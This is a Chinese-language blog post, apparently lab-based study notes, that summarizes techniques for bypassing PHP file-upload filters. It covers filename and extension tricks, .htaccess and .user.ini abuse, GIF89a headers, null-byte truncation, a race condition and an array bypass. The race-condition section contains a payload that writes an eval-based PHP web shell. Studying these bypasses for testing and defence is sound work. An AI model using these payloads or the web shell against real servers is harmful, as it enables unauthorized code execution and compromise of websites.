Tao-RedSun

文件上传漏洞Bypass总结

文件上传漏洞Bypass总结

前端JS验证文件类型:

上传后缀jpg,抓包改为php后缀

=========================================================================

黑名单:

========================================================================

content-type绕过

​ 后端仅判断content-type类型,可以通过抓包修改content-type值进行绕过

使用别名、大小写绕过

​ 使用php3,phtml等别名绕过。或大小写 Php等名称进行绕过

.htaccess

​ 先上传.htaccess 文件,指定将文件解析为php文件运行,然后再上传图片马

后缀加空绕过

原文件名:filename=“info.php”
修改后文件名:filename=“info.php ”       //加了一个空格

后缀加 . 绕过

原文件名:filename=“info.php”
修改后文件名:filename=“info.php.”           //  此方法只适用于windows系统

文件流绕过

原文件名:filename=“info.php”
修改后文件名:filename=“info.php::$DATA”    //此方法只适用于windows系统

点空格点绕过

原文件名:filename=“info.php”
原文件名:filename=“info.php. .”

双写绕过

原文件名:filename=“info.php”
修改后文件名:filename=“info.pphphp”      //后端只过滤一次时有效(非循环过滤)

user.ini绕过

user.ini相当于是用户自定义的php.ini文件。针对黑名单的文件上传,可以使用 user.ini 绕过。
user.ini:
     auto_prepend_file=taotao.gif  //将文件使用 require语句自动包含
接下来只要上传一个自定义的木马文件即可

================================================

白名单:

=====================================================================

文件头判断绕过:

后端通过识别文件头进行判断文件类型,一般使用GIF89a文件头进行绕过
    原data:
             <?php phpinfo();?>
    修改后data:
      GIF89a
      <?php phpinfo();?>

00截断绕过:

前置条件:php版本小于5.3.4,且魔术引号关闭
实例一:URL中有保文件径

抓包发现URL有保存路径,可以通过修改保存路径控制文件的保存信息(需要修改type与file name)

修改保存路径后成功保存为PHP文件
实例二:body中有文件路径

        POST类型的00截断不能使用直接添加%00的原因是。GET方式的%00会被服务器解码成null,而于GET不同的是POST类型的需要先URL解码成null再发送数据包
操作成功

关于GET与POST不同的解释:
        当path存在于URL或COOKIE中或不存在’enctye=“multipart/form-data”\'字段的表单中时,后端会对提交的数据进行一次URLdecode,变成字符串结束符号。可以直接使用%00
        当path存在于上传的body时,头部中有‘enctye=“multipart/form-data”\'字段(不对数据表单数据进行编码),所以需要对%00进行decode后再上传

条件竞争(逻辑漏洞)BYPASS:

概念:
开发者进行开发时常认为代码会以线性方式运行,当多个线程并发时,会造成不可预料的后果
原理:
文件上传到服务器目录,再进行验证,若不符合条件则删除
思路:
先上传文件到服务器,再使用多线程并发访问该文件。若在上传完成到验证开始的阶段成功对文件进行访问,则可以占用当前文件资源,并导致无法删除。
实战:

payload:
<?php fputs(fopen(\'shell.php\',\'w\'),\'<?php @eval($_post["cmd"])?>\');?>
   // 脚本运行后生成新的脚本
实验源码大意:
     将文件上传到服务器,服务器保存并开始验证,若成功通过验证则保存并重命名。若不通过则删除

设置线程后持续发送上传和访问的数据包


shell写入成功

Apache解析漏洞:

含有保存文件名与原文件名
这里利用Apache解析漏洞,修改save_name的值

​ 文件被成功上传并地址为

http://127.0.0.1/file/upload/taotao.php/

数组绕过:

实验源码:
$is_upload = false;
$msg = null;
if(!empty($_FILES[\'upload_file\'])){
    //检查MIME
    $allow_type = array(\'image/jpeg\',\'image/png\',\'image/gif\');
    if(!in_array($_FILES[\'upload_file\'][\'type\'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST[\'save_name\']) ? $_FILES[\'upload_file\'][\'name\'] : $_POST[\'save_name\'];
        if (!is_array($file)) {
            $file = explode(\'.\', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array(\'jpg\',\'png\',\'gif\');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . \'.\' . $file[count($file) - 1];
            $temp_file = $_FILES[\'upload_file\'][\'tmp_name\'];
            $img_path = UPLOAD_PATH . \'/\' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}
源码中检测MIME的部分很好绕过
而if (!is_array($file)) {
            $file = explode(\'.\', strtolower($file));
        }
        这部分将保存文件名分为数组,并储存到file[]中,而后检测数组最后一个值是否符合规范。通过检测后进行重新拼接
BYpass:
绕过的关键在于 ‘if(!is_array($file))’,使用手动构造数组的方式进行绕过.

成功上传

posted on 2021-11-01 15:09  Tao&RedSun  阅读(191)  评论(0编辑  收藏  举报
 

分类:

技术点:

相关文章:

  • 2021-11-10
  • 2021-10-29
  • 2021-08-14
  • 2021-11-26
  • 2021-12-09
猜你喜欢
  • 2021-10-10
  • 2018-07-07
  • 2021-12-19
  • 2021-05-27
  • 2021-09-21
相关资源
相似解决方案